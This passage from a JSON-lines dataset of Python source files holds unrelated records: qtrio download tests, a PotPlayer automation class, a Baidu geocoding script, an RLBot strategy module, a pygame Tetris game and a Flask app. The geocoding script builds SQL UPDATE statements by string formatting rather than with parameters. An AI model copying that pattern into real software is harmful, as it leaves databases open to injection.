type: ignore[attr-defined]\n\n assert written == data\n\n\nasync def test_get_dialog_canceled(\n chunked_data: typing.List[bytes],\n http_application: quart_trio.QuartTrio,\n url: hyperlink.URL,\n tmp_path: pathlib.Path,\n) -> None:\n temporary_directory = trio.Path(tmp_path)\n\n destination = temporary_directory.joinpath(\"file\")\n\n progress_dialog = qtrio.dialogs.create_progress_dialog()\n message_box = qtrio.dialogs.create_message_box()\n\n async def user():\n await emissions.channel.receive()\n\n assert progress_dialog.dialog is not None\n assert progress_dialog.dialog.isVisible()\n assert message_box.dialog is None\n\n assert progress_dialog.cancel_button is not None\n progress_dialog.cancel_button.click()\n\n async with qtrio.enter_emissions_channel(\n signals=[progress_dialog.shown],\n ) as emissions:\n with pytest.raises(qtrio.UserCancelledError):\n async with trio.open_nursery() as nursery:\n nursery.start_soon(user)\n\n await qtrio.examples.download.get_dialog(\n url=url,\n destination=destination,\n fps=0.1,\n progress_dialog=progress_dialog,\n message_box=message_box,\n http_application=http_application,\n )\n\n\nasync def test_get(\n chunked_data: typing.List[bytes],\n content_length: typing.Optional[int],\n http_application: quart_trio.QuartTrio,\n url: hyperlink.URL,\n tmp_path: pathlib.Path,\n) -> None:\n temporary_directory = trio.Path(tmp_path)\n\n data = b\"\".join(chunked_data)\n destination = temporary_directory.joinpath(\"file\")\n\n progresses = []\n\n async for progress in qtrio.examples.download.get(\n url=url,\n destination=destination,\n update_period=0,\n http_application=http_application,\n ):\n progresses.append(progress)\n\n async with await destination.open(\"rb\") as written_file:\n written = await written_file.read() # type: ignore[attr-defined]\n\n assert written == data\n assert all(progress.total == content_length for progress in progresses)\n assert [progresses[0].downloaded, progresses[-1].downloaded] == [0, len(data)]\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "#!/usr/bin/env python3\n# encoding=utf8\nimport warnings\n\nimport keyboard\nimport mouse\n\nfrom mylib.easy import *\nfrom mylib.ext import ostk, fstk\nfrom mylib.gui_old import rename_dialog\nfrom mylib.uia import module_pywinauto\n\npywinauto = module_pywinauto()\nApp = pywinauto.Application\nHwndElementInfo = pywinauto.win32_element_info.HwndElementInfo\nfind_elements = pywinauto.findwindows.find_elements\nclipboard = ostk.clipboard\n\n\nclass PotPlayerKit:\n def __init__(self, gasp_time: int or float = 0.01):\n # import warnings\n # warnings.simplefilter('ignore', category=UserWarning)\n self.gasp_time = gasp_time\n self._window = App().connect(handle=self.list[0].handle).window(found_index=0)\n self._cache = {'fileinfo': {}}\n\n def select(self, element: HwndElementInfo):\n self._window = App().connect(handle=element.handle)\n\n def gasp(self, t: int or float = None):\n t = t or self.gasp_time\n sleep(t)\n\n @property\n def cache(self):\n return self._cache\n\n @property\n def current(self):\n return self._window\n\n @property\n def list(self):\n return find_elements(class_name_re='PotPlayer(64)?')\n\n def focus(self):\n old_coord = mouse.get_position()\n while True:\n try:\n self.current.set_focus()\n break\n except pywinauto.findwindows.ElementAmbiguousError as e:\n print('!', e)\n self.gasp(1)\n mouse.move(*old_coord)\n self.gasp()\n\n @property\n def fileinfo(self):\n return self.cache['fileinfo']\n\n def get_fileinfo(self, alt_tab: bool = True, timeout=5):\n const_general = 'General'\n const_complete_name = 'Complete name'\n\n try:\n cb_old = clipboard.get() or ''\n except ostk.pywintypes.error as e:\n warnings.warn(f'{e}\\n{e!r}')\n time.sleep(1)\n t0 = time.time()\n clipboard.clear()\n self.focus()\n keyboard.press_and_release('ctrl+f1')\n for _ in range(5):\n keyboard.press_and_release('shift+tab')\n keyboard.press_and_release('enter')\n self.gasp()\n keyboard.press_and_release('alt+p, esc')\n self.gasp()\n if alt_tab:\n keyboard.press_and_release('alt+tab')\n\n while True:\n if time.time() - t0 > timeout:\n raise TimeoutError\n self.gasp()\n try:\n text = clipboard.get() or ''\n clipboard.clear()\n clipboard.set(cb_old)\n lines = text.splitlines()\n line0 = getitem_default(lines, 0)\n line1 = getitem_default(lines, 1)\n if line0 == const_general and (line1.startswith(const_complete_name) or line1.startswith('Unique ID')):\n break\n except clipboard.OpenError:\n warnings.warn('clipboard open error')\n except ostk.pywintypes.error as e:\n warnings.warn(f'{e}\\n{e!r}')\n time.sleep(1)\n\n space_and_colon = ' : '\n space_and_slash = ' / '\n data = current_node = {}\n for line in lines:\n if not line:\n continue\n if space_and_colon in line:\n k, v = line.split(space_and_colon, maxsplit=1)\n k: str = k.strip().lower()\n if space_and_slash in v:\n v = v.split(space_and_slash)\n else:\n k, v = 'stream', line.strip().lower()\n type_name = v.split(' #')[0]\n if type_name == 'general':\n current_node = data\n else:\n current_node = {}\n data.setdefault(type_name, []).append(current_node)\n current_node[k] = v\n\n try:\n data['path'] = data['complete name']\n video_stream_0: dict = data['video'][0]\n data['vc'] = video_stream_0['format'].lower()\n data['vbd'] = int(str_remove_suffix(video_stream_0['bit depth'], ' bits'))\n str_frame_rate = 'frame rate'\n str_original_frame_rate = 'original frame rate'\n if str_frame_rate in video_stream_0:\n data['fps'] = float(video_stream_0[str_frame_rate].split()[0])\n elif str_original_frame_rate in video_stream_0:\n data['fps'] = float(video_stream_0[str_original_frame_rate].split()[0])\n data['pix_fmt'] = video_stream_0['color space'].lower() + \\\n video_stream_0['chroma subsampling'].replace(':', '') + \\\n video_stream_0.get('scan type', 'p')\n data['h'] = int(str_remove_suffix(video_stream_0['height'], ' pixels').replace(' ', ''))\n data['w'] = int(str_remove_suffix(video_stream_0['width'], ' pixels').replace(' ', ''))\n except KeyError as e:\n print(repr(e))\n\n self._cache['fileinfo'] = data\n return data\n\n def rename_file(self, new: str, use_cache: bool = False, move_to: str = None, keep_ext: bool = True):\n fileinfo = self.cache['fileinfo'] if use_cache else self.get_fileinfo()\n src = fileinfo['path']\n fstk.x_rename(src, new, move_to_dir=move_to, append_src_ext=keep_ext)\n\n def rename_file_gui(self, alt_tab: bool = False):\n while 1:\n try:\n fileinfo = self.get_fileinfo(alt_tab=alt_tab)\n break\n except TimeoutError:\n print('! TIMEOUT: clipboard data')\n sleep(1)\n src = fileinfo['path']\n rename_dialog(src)\n\n\ndef getitem_default(x, index_or_key, default=None):\n try:\n return x[index_or_key]\n except (IndexError, KeyError):\n return default\n", "source": "fakegit/mo-han-toolbox", "license": "MIT"} {"text": "# \u7ecf\u7eac\u5ea6\u8f6c\u6362\u4e3a\u57ce\u5e02\r\n# \u4f7f\u7528\u767e\u5ea6\u5730\u56feAPI\u5c06\u7ecf\u7eac\u5ea6\u6570\u636e\u8f6c\u5316\u4e3a\u57ce\u5e02\u540d\u5e76\u4fdd\u5b58\u8d77\u6765\uff0c\u7528\u4e8e\u540e\u7eed\u7684\u5929\u6c14\u548c\u6cb9\u4ef7\u6570\u636e\u722c\u53d6\u505a\u51c6\u5907\u3002\r\nimport pymssql\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport json\r\nimport time\r\n\r\n# \u6d4f\u89c8\u5668\u8bf7\u6c42\u5934\r\nheaders = {\r\n 'User-Agent': 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 '\r\n '(KHTML, like Gecko) Chrome/67.0.3396.62 Mobile Safari/537.36'}\r\n# \u767e\u5ea6API\u5f00\u53d1\u8005AK\r\nak = ''\r\n\r\nserver = '127.0.0.1'\r\n# \u8d26\u6237\u5bc6\u7801\r\nuser = ''\r\npassword = ''\r\ndatabase = 'Rider'\r\nconn = pymssql.connect(server, user, password, database)\r\nids = []\r\nlong = []\r\nlati = []\r\n\r\ndb_name = '[Logistics_Missing]'\r\nstart_num = 0\r\n\r\ncursor = conn.cursor()\r\n# \u67e5\u8be2\u64cd\u4f5c\r\ncursor.execute('SELECT [ID],[longStart],[latiStart] FROM [Rider].[dbo].' + db_name + ' ORDER BY [ID]')\r\nrow = cursor.fetchone()\r\nwhile row:\r\n # print(\"long=%s, lati=%s\" % (row[0], row[1]))\r\n ids.append(row[0])\r\n long.append(row[1])\r\n lati.append(row[2])\r\n row = cursor.fetchone()\r\n\r\n# print(len(long))\r\nlenn = len(long)\r\n# lenn = 120\r\nwith requests.Session() as s:\r\n for i in range(start_num, lenn):\r\n print('\u67e5\u8be2\u4e2d--' + str(ids[i]))\r\n url1 = 'http://api.map.baidu.com/geocoder/v2/?ak=' + ak + '&location=' \\\r\n + lati[i] + ',' + long[i] + '&output=json&pois=0'\r\n wb_data1 = s.get(url1, headers=headers)\r\n # print(wb_data1)\r\n # wb_data = requests.get(url, headers=headers)\r\n soup1 = BeautifulSoup(wb_data1.text, 'html.parser')\r\n # print(soup1)\r\n json_soup1 = json.loads(soup1.get_text())\r\n comp1 = json_soup1['result']['addressComponent']\r\n city1 = comp1['province']+'/'+comp1['city']\r\n sql = \"update Rider.dbo.\" + db_name + \" Set city = '%s' Where ID = %s\" % (city1, ids[i])\r\n print(sql)\r\n cursor.execute(sql)\r\n if (i+1)%200 == 0:\r\n conn.commit()\r\n print('\u5df2\u63d0\u4ea4' + str(ids[i]) + '\u6761\u6570\u636e\uff01')\r\n print('\u4f11\u606f2\u79d2\uff01')\r\n time.sleep(2)\r\n\r\nconn.commit()\r\nprint('\u5df2\u63d0\u4ea4\u6240\u6709\u6570\u636e\uff01')\r\nconn.close()\r\n\r\n", "source": "Michaelhuazhang/LogisticPrecdition", "license": "MIT"} {"text": "import solution\n\n\ndef test_solve():\n cases = (\n (('2 3', '0', '1 0'), 'Yes'),\n (('2 3', '1 0', '1 1'), 'Yes'),\n (('2 4', '1 0', '1 2'), 'No'),\n (('4 6', '2 0 1', '0'), 'Yes'),\n (('4 6', '1 0', '0'), 'No'),\n )\n for test, ans in cases:\n n, m = [int(x) for x in test[0].split()]\n b = [int(x) for x in test[1].split()]\n g = [int(x) for x in test[2].split()]\n assert solution.solve(n, m, b, g) == ans, \"wrong for case: {}\".format(test)\n", "source": "pterodragon/programming", "license": "MIT"} {"text": "import predict\nimport render\nfrom info import Field, Ball\nfrom moves import AimCone\nfrom plans import DodgePlan\nfrom rlmath import *\n\n\nclass Carry:\n def __init__(self):\n self.is_dribbling = False\n self.flick_timer = 0\n\n # Constants\n self.extra_utility_bias = 0.2\n self.wait_before_flick = 0.26\n self.flick_init_jump_duration = 0.07\n self.required_distance_to_ball_for_flick = 173\n self.offset_bias = 36\n\n def utility(self, bot):\n car = bot.info.my_car\n ball = bot.info.ball\n\n car_to_ball = car.pos - ball.pos\n\n bouncing_b = ball.pos.z > 130 or abs(ball.vel.z) > 300\n if not bouncing_b:\n return 0\n\n dist_01 = clip01(1 - norm(car_to_ball) / 3000)\n\n head_dir = lerp(Vec3(0, 0, 1), car.forward(), 0.1)\n ang = angle_between(head_dir, car_to_ball)\n ang_01 = clip01(1 - ang / (math.pi / 2))\n\n return clip01(0.6 * ang_01\n + 0.4 * dist_01\n # - 0.3 * bot.analyzer.team_mate_has_ball_01\n + self.is_dribbling * self.extra_utility_bias)\n\n def execute(self, bot):\n self.is_dribbling = True\n\n car = bot.info.my_car\n ball = bot.info.ball\n ball_landing = predict.next_ball_landing(bot)\n ball_to_goal = bot.info.enemy_goal - ball.pos\n\n # Decide on target pos and speed\n target = ball_landing.data[\"obj\"].pos - self.offset_bias * normalize(ball_to_goal)\n dist = norm(target - bot.info.my_car.pos)\n speed = 1400 if ball_landing.time == 0 else dist / ball_landing.time\n\n # Do a flick?\n car_to_ball = ball.pos - car.pos\n dist = norm(car_to_ball)\n if dist <= self.required_distance_to_ball_for_flick:\n self.flick_timer += 0.016666\n if self.flick_timer > self.wait_before_flick:\n bot.plan = DodgePlan(bot.info.enemy_goal) # use flick_init_jump_duration?\n else:\n self.flick_timer = 0\n\n # dodge on far distances\n if dist > 2450 and speed > 1410:\n ctt_n = normalize(target - car.pos)\n vtt = dot(bot.info.my_car.vel, ctt_n) / dot(ctt_n, ctt_n)\n if vtt > 750:\n bot.plan = DodgePlan(target)\n\n controls = bot.drive.go_towards_point(bot, target, target_vel=speed, slide=False, boost=False, can_keep_speed=False, can_dodge=True, wall_offset_allowed=0)\n bot.controls = controls\n\n if bot.do_rendering:\n bot.renderer.draw_line_3d(car.pos, target, bot.renderer.pink())\n\n def reset(self):\n self.is_dribbling = False\n self.flick_timer = 0\n\n\nclass ShootAtGoal:\n def __init__(self):\n self.aim_cone = None\n self.ball_to_goal_right = None\n self.ball_to_goal_left = None\n\n def utility(self, bot):\n ball_soon = predict.ball_predict(bot, 1)\n\n arena_length2 = bot.info.team_sign * Field.LENGTH / 2\n own_half_01 = clip01(remap(arena_length2, -arena_length2, 0.0, 1.1, ball_soon.pos.y))\n\n reachable_ball = predict.ball_predict(bot, predict.time_till_reach_ball(bot.info.my_car, bot.info.ball))\n self.ball_to_goal_right = bot.info.enemy_goal_right - reachable_ball.pos\n self.ball_to_goal_left = bot.info.enemy_goal_left - reachable_ball.pos\n self.aim_cone = AimCone(self.ball_to_goal_right, self.ball_to_goal_left)\n car_to_ball = reachable_ball.pos - bot.info.my_car.pos\n in_position = self.aim_cone.contains_direction(car_to_ball)\n\n return clip01(own_half_01 + 0.1 * in_position)\n\n def execute(self, bot):\n\n car = bot.info.my_car\n ball = bot.info.ball\n\n shoot_controls = bot.shoot.with_aiming(bot, self.aim_cone, predict.time_till_reach_ball(car, ball))\n if bot.do_rendering:\n self.aim_cone.draw(bot, bot.shoot.ball_when_hit.pos, b=0)\n\n hit_pos = bot.shoot.ball_when_hit.pos\n dist = norm(car.pos - hit_pos)\n closest_enemy, enemy_dist = bot.info.closest_enemy(0.5 * (hit_pos + ball.pos))\n\n if not bot.shoot.can_shoot and is_closer_to_goal_than(car.pos, hit_pos, bot.info.team):\n # Can't shoot but or at least on the right side: Chase\n\n goal_to_ball = normalize(hit_pos - bot.info.enemy_goal)\n offset_ball = hit_pos + goal_to_ball * Ball.RADIUS * 0.9\n bot.controls = bot.drive.go_towards_point(bot, offset_ball, target_vel=2200, slide=False, boost=True)\n\n if bot.do_rendering:\n bot.renderer.draw_line_3d(car.pos, offset_ball, bot.renderer.yellow())\n\n elif not bot.shoot.aim_is_ok and hit_pos.y * -bot.info.team_sign > 4350 and abs(hit_pos.x) > 900 and not dist < 450:\n # hit_pos is an enemy corner and we are not close: Avoid enemy corners and just wait\n\n enemy_to_ball = normalize(hit_pos - closest_enemy.pos)\n wait_point = hit_pos + enemy_to_ball * enemy_dist # a point 50% closer to the center of the field\n wait_point = lerp(wait_point, ball.pos + Vec3(0, bot.info.team_sign * 3000, 0), 0.5)\n bot.controls = bot.drive.go_towards_point(bot, wait_point, norm(car.pos - wait_point), slide=False, boost=False, can_keep_speed=True, can_dodge=False)\n\n if bot.do_rendering:\n bot.renderer.draw_line_3d(car.pos, wait_point, bot.renderer.yellow())\n\n elif not bot.shoot.can_shoot:\n # return home\n bot.controls = bot.drive.go_home(bot)\n\n else:\n # Shoot !\n bot.controls = shoot_controls\n\n if bot.shoot.using_curve and bot.do_rendering:\n render.draw_bezier(bot, [car.pos, bot.shoot.curve_point, hit_pos])\n\n\nclass ClearBall:\n def __init__(self, bot):\n if bot.team == 0:\n # blue\n self.aim_cone = AimCone(.8 * math.pi, .2 * math.pi)\n else:\n # orange\n self.aim_cone = AimCone(-.1 * math.pi, -.9 * math.pi)\n\n def utility(self, bot):\n team_sign = bot.info.team_sign\n\n length = team_sign * Field.LENGTH / 2\n ball_own_half_01 = clip01(remap(-length, length, -0.2, 1.2, bot.info.ball.pos.y))\n\n reachable_ball = predict.ball_predict(bot, predict.time_till_reach_ball(bot.info.my_car, bot.info.ball))\n car_to_ball = reachable_ball.pos - bot.info.my_car.pos\n in_position = self.aim_cone.contains_direction(car_to_ball, math.pi / 8)\n\n return ball_own_half_01 * in_position\n\n def execute(self, bot):\n car = bot.info.my_car\n shoot_controls = bot.shoot.with_aiming(bot, self.aim_cone, predict.time_till_reach_ball(bot.info.my_car, bot.info.ball))\n hit_pos = bot.shoot.ball_when_hit.pos\n\n if bot.do_rendering:\n self.aim_cone.draw(bot, hit_pos, r=0, g=170, b=255)\n\n if bot.shoot.can_shoot:\n bot.controls = shoot_controls\n\n if bot.shoot.using_curve and bot.do_rendering:\n render.draw_bezier(bot, [car.pos, bot.shoot.curve_point, hit_pos])\n\n else:\n # go home-ish\n own_goal = lerp(bot.info.own_goal, bot.info.ball.pos, 0.5)\n bot.controls = bot.drive.go_towards_point(bot, own_goal, target_vel=1460, slide=True, boost=True, can_keep_speed=True)\n\n\nclass SaveGoal:\n def __init__(self, bot):\n team_sign = bot.info.team_sign\n self.own_goal_right = Vec3(-820 * team_sign, 5120 * team_sign, 0)\n self.own_goal_left = Vec3(820 * team_sign, 5120 * team_sign, 0)\n self.aim_cone = None\n self.ball_to_goal_right = None\n self.ball_to_goal_left = None\n\n def utility(self, bot):\n team_sign = bot.info.team_sign\n ball = bot.info.ball\n\n ball_to_goal = bot.info.own_goal - ball.pos\n too_close = norm(ball_to_goal) < Field.GOAL_WIDTH / 2 + Ball.RADIUS\n\n hits_goal_prediction = predict.will_ball_hit_goal(bot)\n hits_goal = hits_goal_prediction.happens and sign(ball.vel.y) == team_sign and hits_goal_prediction.time < 3\n\n return hits_goal or too_close\n\n def execute(self, bot):\n\n car = bot.info.my_car\n ball = bot.info.ball\n\n hits_goal_prediction = predict.will_ball_hit_goal(bot)\n reach_time = clip(predict.time_till_reach_ball(car, ball), 0, hits_goal_prediction.time - 0.5)\n reachable_ball = predict.ball_predict(bot, reach_time)\n self.ball_to_goal_right = self.own_goal_right - reachable_ball.pos\n self.ball_to_goal_left = self.own_goal_left - reachable_ball.pos\n self.aim_cone = AimCone(self.ball_to_goal_left, self.ball_to_goal_right)\n\n self.aim_cone.draw(bot, reachable_ball.pos, r=200, g=0, b=160)\n\n shoot_controls = bot.shoot.with_aiming(bot, self.aim_cone, reach_time)\n\n if not bot.shoot.can_shoot:\n # Go home\n bot.controls = bot.drive.go_home(bot)\n else:\n bot.controls = shoot_controls\n", "source": "DaCoolOne/RLBotPack", "license": "MIT"} {"text": "from django.http import HttpResponse\nfrom django.views.decorators.http import require_GET\n\n\n@require_GET\ndef healthcheck_view(request):\n return HttpResponse()\n", "source": "hmrc/wristband", "license": "Apache-2.0"} {"text": "\"\"\"\nModule: 'micropython' on esp32 1.9.4\n\"\"\"\n# MCU: (sysname='esp32', nodename='esp32', release='1.9.4', version='v1.9.4 on 2018-05-11', machine='ESP32 module with ESP32')\n# Stubber: 1.2.0\ndef alloc_emergency_exception_buf():\n pass\n\ndef const():\n pass\n\ndef heap_lock():\n pass\n\ndef heap_unlock():\n pass\n\ndef kbd_intr():\n pass\n\ndef mem_info():\n pass\n\ndef opt_level():\n pass\n\ndef qstr_info():\n pass\n\ndef schedule():\n pass\n\ndef stack_use():\n pass\n\n", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"} {"text": "import pygame\nfrom pygame.locals import *\nimport sys\nimport random\nfrom copy import deepcopy\n\nCELL_WIDTH = 32\nCELL = (CELL_WIDTH, CELL_WIDTH)\nDISPLAY_WIDTH = 510\nDISPLAY_HEIGHT = 610\nDISPLAY = (DISPLAY_WIDTH, DISPLAY_HEIGHT)\nOFFSET = (20, 50)\nSHAPES = [['1111'], ['11', '11'],\n ['010', '111'], ['110', '011'],\n ['011', '110'], ['100', '111'],\n ['001', '111']]\n\nGLASS_WIDTH = 10\nGLASS_HEIGHT = 17\n\nDROP_SPEED = 25\n\nCOLORS = [pygame.Color(255, 0, 255), pygame.Color(0, 255, 0), pygame.Color(255, 255, 0)]\nWHITE = pygame.Color(255, 255, 255)\nBLACK = pygame.Color(0, 0, 0)\nBLACKEN = pygame.Color(5, 5, 5)\n\ntimer = pygame.time.Clock()\n\n\ndef fill_color(img, from_color, to_color):\n for x in range(img.get_size()[0]):\n for y in range(img.get_size()[1]):\n if img.get_at([x, y]) == from_color:\n img.set_at([x, y], to_color)\n return img\n\n\ndef load_image(color):\n image = pygame.image.load('resource\\\\tile.png')\n image = fill_color(image, WHITE, color)\n image = fill_color(image, BLACK, color // BLACKEN)\n return image\n\n\nIMAGES = {c: load_image(COLORS[c]) for c in range(len(COLORS))}\n\n\nclass Cell(object):\n \"\"\"Contains single cell\"\"\"\n\n def __init__(self, color=0, x=0, y=0):\n self._color = color\n self._x = x\n self._y = y\n self._image = IMAGES[color]\n\n def color(self):\n return self._color\n\n def get_xy(self):\n return (self._x, self._y)\n\n def get_x(self):\n return self._x\n\n def get_y(self):\n return self._y\n\n def set_color(self, color):\n self._color = color\n self._image = self._load_image()\n\n def set_xy(self, x, y):\n self._x = x\n self._y = y\n\n def move(self, x, y):\n self._x += x\n self._y += y\n\n def draw(self, screen, off):\n x = ((self._x + off[0]) * CELL_WIDTH) + OFFSET[0]\n y = ((self._y + off[1]) * CELL_WIDTH) + OFFSET[1]\n screen.blit(self._image, (x, y))\n\n def __add__(self, delta):\n return Cell(self._color, self._x + delta[0], self._y + delta[1])\n\n def __deepcopy__(self, memo):\n return Cell(self._color, self._x, self._y)\n\n def __str__(self):\n return 'X:{}, Y:{}, color:{}'.format(self._x, self._y, COLORS[self._color])\n\n\nclass CellArray(object):\n \"\"\"Contains array of cells\"\"\"\n\n def __init__(self, x=0, y=0, cells=None):\n self._x = x\n self._y = y\n self._arr = []\n self._inner_array = [[None]]\n self._len = 0\n if cells:\n for c in cells:\n self.add(c)\n\n def get_array(self):\n return self._arr\n\n def get_xy(self):\n return (self._x, self._y)\n\n def get_x(self):\n return self._x\n\n def get_y(self):\n return self._y\n\n def add(self, cell):\n self._arr.append(cell)\n\n def draw(self, screen):\n for c in self._arr:\n c.draw(screen, (self._x, self._y))\n\n def set_xy(self, x, y):\n self._x = x\n self._y = y\n\n def __contains__(self, c_array):\n for in_c in self.get_array():\n if isinstance(c_array, CellArray):\n for c in c_array.get_array():\n if in_c.get_xy() == c.get_xy():\n return True\n elif isinstance(c_array, Cell):\n if in_c.get_xy() == c_array.get_xy():\n return True\n return False\n\n def __repr__(self):\n return '\\n'.join(str(c) for c in self._arr)\n\n\nclass Figure(CellArray):\n \"\"\"Contains current figure\"\"\"\n\n def __init__(self, x, y, shape, color, rotation=0):\n self._color = color\n self._rotation = rotation\n super(Figure, self).__init__(x, y)\n self._shape = shape\n for y, line in enumerate(SHAPES[self._shape]):\n for x, c in enumerate(line):\n if SHAPES[self._shape][y][x] == '1':\n self.add(Cell(self._color, x, y), x, y)\n for r in range(self._rotation):\n self.rotate(check=False)\n\n def move(self, x, y, glass):\n if self.available(x, y, glass):\n self._x += x\n self._y += y\n self.set_xy(self._x, self._y)\n return True\n else:\n return False\n\n def available(self, x=0, y=0, glass=None):\n for c in self.get_array():\n if (c.get_x() + self._x + x) not in range(GLASS_WIDTH):\n return False\n if (c.get_y() + self._y + y) not in range(GLASS_HEIGHT):\n return False\n if glass and c + (x + self._x, y + self._y) in glass:\n return False\n return True\n\n def rotate(self, glass=None, check=True):\n temp_array = deepcopy(self._inner_array)\n temp_array = [s[::-1] for s in zip(*temp_array)]\n for y, line in enumerate(temp_array):\n for x, c in enumerate(line):\n if c:\n c.set_xy(x, y)\n for y, line in enumerate(temp_array):\n for x, c in enumerate(line):\n if c:\n if check and (c.get_x() + self._x) not in range(GLASS_WIDTH):\n return False\n if check and (c.get_y() + self._y) not in range(GLASS_HEIGHT):\n return False\n if glass:\n if c + (self._x, self._y) in glass:\n return False\n self._inner_array = [s[::-1] for s in zip(*self._inner_array)]\n for y, line in enumerate(self._inner_array):\n for x, c in enumerate(line):\n if c:\n c.set_xy(x, y)\n return True\n\n def add(self, cell, x, y):\n super(Figure, self).add(cell)\n self._len = max(self._len, x, y)\n self._update_inner(self._len)\n self._inner_array[y][x] = cell\n\n def _update_inner(self, len_):\n if len_ > 0:\n for y in range(len(self._inner_array)):\n for x in range(len_ - len(self._inner_array[y]) + 1):\n self._inner_array[y].append(None)\n for y in range(len_ - len(self._inner_array) + 1):\n self._inner_array.append([None for x in range(len_ + 1)])\n\n def __str__(self):\n return '\\n'.join(' '.join(str(c) for c in line) for line in self._inner_array)\n\n\nclass Glass(CellArray):\n \"\"\"Contains main game glass\"\"\"\n\n def __init__(self):\n super(Glass, self).__init__()\n\n def put_cells(self, figure):\n if figure in self.get_array():\n return False\n else:\n for c in figure.get_array():\n c.set_xy(figure.get_x() + c.get_x(), figure.get_y() + c.get_y())\n self.add(c)\n return True\n\n def remove_line(self, line):\n temp_arr = []\n for c in self.get_array():\n if c.get_y() == line:\n temp_arr.append(c)\n for c in temp_arr:\n self._arr.remove(c)\n for c in self.get_array():\n if c.get_y() < line:\n c.set_xy(c.get_x(), c.get_y() + 1)\n\n def __str__(self):\n return '\\n'.join(str(c) for c in self._arr)\n\n\nclass Game(object):\n \"\"\"Main game class\"\"\"\n\n def __init__(self):\n pygame.init()\n self.glass = Glass()\n pygame.display.set_caption('Simple tetris')\n pygame.display.set_icon(IMAGES[random.choice(range(len(COLORS)))])\n self.screen = pygame.display.set_mode(DISPLAY, HWPALETTE, 8)\n self.bg = pygame.Surface(DISPLAY)\n self.bg.fill(Color('black'))\n self.figure = self.gen_figure()\n self.next_figure = self.gen_figure(11, 5)\n self._drop_count = 0\n self.score = 0\n self.score_font = pygame.font.Font('Anonymous Pro.ttf', 30)\n self.next_fig_font = pygame.font.Font('Anonymous Pro.ttf', 20)\n self.game_over_font = pygame.font.Font('Anonymous Pro.ttf', 60)\n self.run = True\n\n def draw(self):\n # Backgrownd\n self.screen.blit(self.bg, (0, 0))\n # Glass border\n pygame.draw.line(self.screen, WHITE, (18, 49), (18, 595), 2)\n pygame.draw.line(self.screen, WHITE, (340, 595), (18, 595), 2)\n pygame.draw.line(self.screen, WHITE, (340, 595), (340, 49), 2)\n # Score\n label = self.score_font.render('Score:', 0, (255, 255, 255))\n score = self.score_font.render(str(self.score), 0, (255, 255, 255))\n self.screen.blit(label, (360, 100))\n self.screen.blit(score, (360, 130))\n # Glass\n self.glass.draw(self.screen)\n # Figure\n self.figure.draw(self.screen)\n # Next figure\n next_fig_label = self.next_fig_font.render('Next figure:', 0, (255, 255, 255))\n self.screen.blit(next_fig_label, (350, 185))\n self.next_figure.draw(self.screen)\n pygame.display.update()\n\n def gen_figure(self, x=4, y=0, shape=None, color=None, rotation=None):\n if shape is None:\n shape = random.choice(range(len(SHAPES)))\n if color is None:\n color = random.choice(range(len(COLORS)))\n if rotation is None:\n rotation = random.choice(range(4))\n return Figure(x, y, shape, color, rotation)\n\n def check_lines(self):\n lines = 0\n for line in range(GLASS_HEIGHT):\n if all(Cell(x=c, y=line) in self.glass for c in range(GLASS_WIDTH)):\n self.glass.remove_line(line)\n lines += 1\n return lines\n\n def update(self):\n if self.run:\n self._drop_count += 1\n if self._drop_count > DROP_SPEED:\n self.try_move_down()\n for e in pygame.event.get():\n if e.type == QUIT:\n sys.exit()\n if self.run:\n if e.type == KEYDOWN and e.key == K_LEFT:\n self.figure.move(-1, 0, self.glass)\n if e.type == KEYDOWN and e.key == K_RIGHT:\n self.figure.move(1, 0, self.glass)\n if e.type == KEYDOWN and e.key == K_UP:\n self.figure.rotate(self.glass)\n if e.type == KEYDOWN and e.key == K_DOWN:\n self.try_move_down()\n if e.type == KEYDOWN and e.key == K_SPACE:\n while self.try_move_down():\n self._drop_count = DROP_SPEED // 2\n\n def try_move_down(self):\n self._drop_count = 0\n if not self.figure.move(0, 1, self.glass):\n self.glass.put_cells(self.figure)\n self.score += 10\n lines = self.check_lines()\n self.score += (lines ** 2) * 100\n self.try_place_new()\n return False\n return True\n\n def try_place_new(self):\n self.figure = self.gen_figure(shape=self.next_figure._shape,\n color=self.next_figure._color,\n rotation=self.next_figure._rotation)\n if not self.figure.available(glass=self.glass):\n game_over = self.game_over_font.render('GAME OVER', 0, (255, 255, 255))\n self.screen.blit(game_over, (40, 300))\n pygame.display.update()\n self.run = False\n self.next_figure = self.gen_figure(11, 5)\n\n def start(self):\n while True:\n timer.tick(60)\n if self.run:\n self.draw()\n self.update()\n\n\nif __name__ == '__main__':\n game = Game()\n game.start()\n", "source": "LerikP/T2", "license": "MIT"} {"text": "def stockmax(p):\n ind_max = p.index(max(p)) #find the max price\n inv = sum(p[:ind_max]) #split the array before and after max price\n pf = len(p[:ind_max])*p[ind_max] - inv #buy all stocks before max price \n if len(p[ind_max+1:]) > 0:\n pf += stockmax(p[ind_max+1:]) #then sell them at max price\n return pf\n", "source": "rahil-1407/Data-Structure-and-Algorithms", "license": "MIT"} {"text": "from flask import Flask, render_template, request\nfrom python.dotmapgenerator import *\n\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['TEMPLATES_AUTO_RELOAD'] = True\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\nMETHOD_AUTOSIZE = 1\nMETHOD_REPEAT = 2\n\n\n@app.route('/app.html')\ndef process():\n error = lambda: render_template('process.html', generated_text=\"ERROR\")\n\n if len(request.args) != 0:\n inner = request.args.get(\"text[main]\")\n if not inner:\n return error()\n\n outer = request.args.get(\"text[wrapper]\")\n if not outer:\n return error()\n\n method = request.args.get(\"options[method]\")\n if not method:\n return error()\n\n font = request.args.get(\"options[font]\")\n if not font:\n return error()\n\n method = int(method)\n if method == METHOD_AUTOSIZE:\n error()\n\n elif int(method) == METHOD_REPEAT:\n size = request.args.get(\"options[size]\")\n if not size:\n return error()\n\n text = wrap_text_in_text_repeat(inner, outer, font, size)\n\n else:\n error()\n\n return render_template('process.html', generated_text=text)\n\n else:\n return render_template('app.html')\n\n\nif __name__ == '__main__':\n generate_font_paths(app)\n app.run()\n", "source": "Tobolov/HorizonTology", "license": "MIT"} {"text": "\r\nimport os\r\nimport sys\r\nfrom os import path\r\n\r\ncurrent_dir = path.dirname(path.abspath(__file__))\r\nwhile path.split(current_dir)[-1] != r'Heron':\r\n current_dir = path.dirname(current_dir)\r\nsys.path.insert(0, 